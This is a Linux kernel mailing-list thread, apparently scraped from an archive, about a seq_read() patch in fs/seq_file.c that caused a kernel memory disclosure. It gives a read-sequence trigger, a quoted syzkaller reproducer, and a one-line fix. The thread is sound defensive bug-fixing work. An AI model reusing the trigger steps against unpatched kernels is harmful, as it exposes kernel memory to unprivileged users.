240.216098] R10: ffffffff92ae9820 R11: ffffed003d864f28 R12: 0000000000000a35 [ 240.216103] R13: 0000000000000001 R14: ffff8801e78a1ddc R15: ffffea00079e2800 [ 240.216109] FS: 00007f820d397700(0000) GS:ffff8801ec300000(0000) knlGS:0000000000000000 [ 240.216114] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 240.216119] CR2: 00007f820cf4f4c4 CR3: 00000001e7868003 CR4: 00000000001606e0
==================
(I first started staring at this code because Kees pointed me to
https://syzkaller.appspot.com/bug?extid=4b712dce5cbce6700f27 , but I think the case I found doesn't quite match what syzcaller is saying?)
Quoted 15 lines · Jann Horn
fs/seq_file.c ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) · line 281
Quoted 10 lines
fs/seq_file.c +1
-5@@ -287,11 +278,7 @@ ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) goto Efault; copied += n; m->count -= n; -if (m->count) - m->from = n; -else - pos++; - m->index = pos; + m->from = n;This patch introduces a kernel memory disclosure bug when something like the following sequence of events happens (starting from a freshly opened seq file):
Quoted 8 lines
1.
read(seq_fd, buf, 2000): sets m->from=2000, m->count=100
2. create a bufferbroken_bufwhich consists of 1000 bytes writable memory followed by unmapped memory
3.read(seq_fd, broken_buf, 3100):
- flushes buffered data to userspace, result: m->from=2100, m->count=0
- accumulates new data, result: m->from=2100, m->count=3050
- tries to copy new data to userspace, but fails ("goto Efault")
4.read(seq_fd, buf, 4096): doescopy_to_user(buf, m->buf + m->from, n)
Thanks for testing and for the report.
I think I see where I went wrong in the patch.
As I said in the description:
- don't clear ->from when ->count is zero, as ->from is dead when
->count is zero.
It is true that ->from is dead when ->count is zero, but as soon as count becomes non-zero, ->from becomes important again.
So we either need to clear ->from whenever ->count is changed from zero (which would be clumsy and error prone) we we need to clear ->from somewhere else.
->count is only increased in ->show() calls and there are three ->show() calls.
- in traverse() ->from is set to zero early, and set once more shortly before the function exits, so it is always correct.
- in "we need at least one record in buffer" ->count starts at zero so ->from needs to be set to zero as well.
- in "Fill:" ->from is still correct from previous setting.
So I think we just need
m->from = 0;
at "we need at least one record in buffer". I'm fairly sure that will fix the problem you found. I would appreciate it if you would test and confirm.
I'll send a patch separately.
Thanks again,
NeilBrown
PATCH 1/1 VFS: seq_file: ensure ->from is valid.
Previous patch ("VFS: simplify seq_file iteration code and interface") removed code to set ->from to zero when ->count is zero, as ->from is dead at that time. However it didn't ensure ->from was set properly whenever ->count becomes non-zero.
This can only happen when ->show() is called. Of the three places it is called one already has ->from set to zero. The other two are fixed by setting from to zero after fully flushing the buffer (at which point ->count will also be zero).
--- fs/seq_file.c | 1 + 1 file changed, 1 insertion(+)
fs/seq_file.c +1 -0
@@ -220,6 +220,7 @@ ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) goto Done; }/* we need at least one record in buffer */ + m->from =0 ; p = m->op->start (m, &m->index);while (1 ) { err =PTR_ERR (p);
Signature · 1 line
2.14.0.rc0.dirty
Re: [PATCH mm] VFS: seq_file: ensure ->from is valid.
Quoted 11 lines · NeilBrown
Previous patch ("VFS: simplify
seq_fileiteration code and interface") removed code to set ->from to zero when ->count is zero, as ->from is dead at that time. However it didn't ensure ->from was set properly whenever ->count becomes non-zero.
This can only happen when ->show() is called. Of the three places it is called one already has ->from set to zero. The other two are fixed by setting from to zero after fully flushing the buffer (at which point ->count will also be zero).Reported-by Jann Horn <[email protected]>Signed-off-by NeilBrown <[email protected]>
Quoted 9 lines
--- fs/seq_file.c | 1 + 1 file changed, 1 insertion(+)fs/seq_file.c +0
-0
fs/seq_file.c ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) · line 226
Quoted 7 lines
fs/seq_file.c +1
-0@@ -220,6 +220,7 @@ ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) goto Done; }/* we need at least one record in buffer */ + m->from =0 ; p = m->op->start (m, &m->index);while (1 ) { err =PTR_ERR (p);
This looks correct to me. I have also tested that with this patch applied, my crasher doesn't work anymore.
Re: [PATCH mm] VFS: seq_file: ensure ->from is valid.
In reply to NeilBrownQuoted 10 lines · NeilBrown
Previous patch ("VFS: simplify
seq_fileiteration code and interface") removed code to set ->from to zero when ->count is zero, as ->from is dead at that time. However it didn't ensure ->from was set properly whenever ->count becomes non-zero.
This can only happen when ->show() is called. Of the three places it is called one already has ->from set to zero. The other two are fixed by setting from to zero after fully flushing the buffer (at which point ->count will also be zero).
Quoted 2 lines
Reported-by Jann Horn <[email protected]>Signed-off-by NeilBrown <[email protected]>
I *think* this solves this report, which looks very much like Jann's reproducer:
https://syzkaller.appspot.com/bug?extid=4b712dce5cbce6700f27
-Kees
Signature · 2 lines
Kees Cook Pixel Security
Re: [PATCH mm] VFS: seq_file: ensure ->from is valid.
Quoted 12 lines · Kees Cook
Quoted 10 lines · NeilBrown
Previous patch ("VFS: simplify
seq_fileiteration code and interface") removed code to set ->from to zero when ->count is zero, as ->from is dead at that time. However it didn't ensure ->from was set properly whenever ->count becomes non-zero.
This can only happen when ->show() is called. Of the three places it is called one already has ->from set to zero. The other two are fixed by setting from to zero after fully flushing the buffer (at which point ->count will also be zero).
Quoted 6 lines
Quoted 2 lines
Reported-by Jann Horn <[email protected]>Signed-off-by NeilBrown <[email protected]>I *think* this solves this report, which looks very much like Jann's reproducer:
https://syzkaller.appspot.com/bug?extid=4b712dce5cbce6700f27
I don't think the path I found and what syzcaller reported match precisely. The syz reproducer linked on that page is:
r0 = memfd_create(&(0x7f00000000c0)='md5sum\x00', 0x0) mmap(&(0x7f0000001000/0x1000)=nil, 0x1000, 0x0, 0x51, r0, 0x0) mkdir(&(0x7f0000000040)='./control\x00', 0x0)
r1 = socket$inet_sctp(0x2, 0x1, 0x84) getsockopt$inet_sctp_SCTP_ADAPTATION_LAYER(r1, 0x84, 0x7, &(0x7f0000000000), &(0x7f0000000080)=0x4)
r2 = syz_open_procfs(0x0, &(0x7f0000000040)='smaps\x00') readv(r2, &(0x7f00000021c0)=[{&(0x7f0000000140)=""/79, 0x432}, {&(0x7f00000001c0)=""/4096, 0x1000}], 0x2)
If we assume that this is the same bug, only the last two lines are interesting. They should cause two invocations of seq_read(). The first invocation should start with ->from==0, so the bug shouldn't trigger there. So it has to happen on the second invocation. So the first invocation has to leave ->from at some high value and ->count nonzero. But the only place in seq_read() that could set ->from on the first read (if the traverse case doesn't happen) is the one at the end of seq_read() that properly adjusts ->count down by the same number in the line above. This doesn't add up.